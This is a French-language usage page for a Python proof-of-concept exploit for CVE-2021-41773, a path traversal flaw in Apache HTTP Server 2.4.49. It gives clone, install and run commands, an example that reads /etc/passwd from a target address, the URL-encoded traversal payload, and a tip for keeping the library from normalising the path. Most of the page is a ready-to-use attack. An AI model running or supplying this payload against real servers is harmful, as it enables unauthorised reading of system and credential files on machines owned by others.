
Exploit Python pour CVE-2021-41773 - Vulnérabilité Path Traversal dans Apache HTTP Server 2.4.49
Un exploit Python pour CVE-2021-41773, une vulnérabilité de traversée de chemin dans Apache HTTP Server 2.4.49 permettant de lire des fichiers arbitraires sur le serveur.
CVE-2021-41773 est une vulnérabilité de traversée de chemin dans Apache HTTP Server 2.4.49 qui se produit en raison d'une validation incorrecte des chemins fournis par l'utilisateur. La vulnérabilité permet aux attaquants de lire des fichiers en dehors de la racine du document en utilisant des séquences de traversée de chemin encodées en URL.
git clone https://github.com/blu3ming/PoC-CVE-2021-41773
cd PoC-CVE-2021-41773
pip install -r requirements.txt
python3 cve-2021-41773.py -t <cible> -f <chemin_fichier>
-t, --target : URL cible (inclure le protocole et le port si nécessaire)-f, --file : Chemin du fichier à lire sur le serveur# Lire /etc/passwd
python3 cve-2021-41773.py -t http://192.168.1.100:443 -f /etc/passwd

L'exploit utilise des séquences de traversée de chemin encodées en URL (.%2e/%2e%2e/) pour contourner la validation de chemin d'Apache :
.%2e) contournent les contrôles de sécurité initiauxLa clé est d'utiliser urllib3.PoolManager() au lieu de requests.get() pour empêcher la normalisation automatique de l'URL qui briserait l'exploit.
# La structure de l'URL de l'exploit :
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/{fichier_cible}
Cela se traduit par :
/cgi-bin/../../../../{fichier_cible}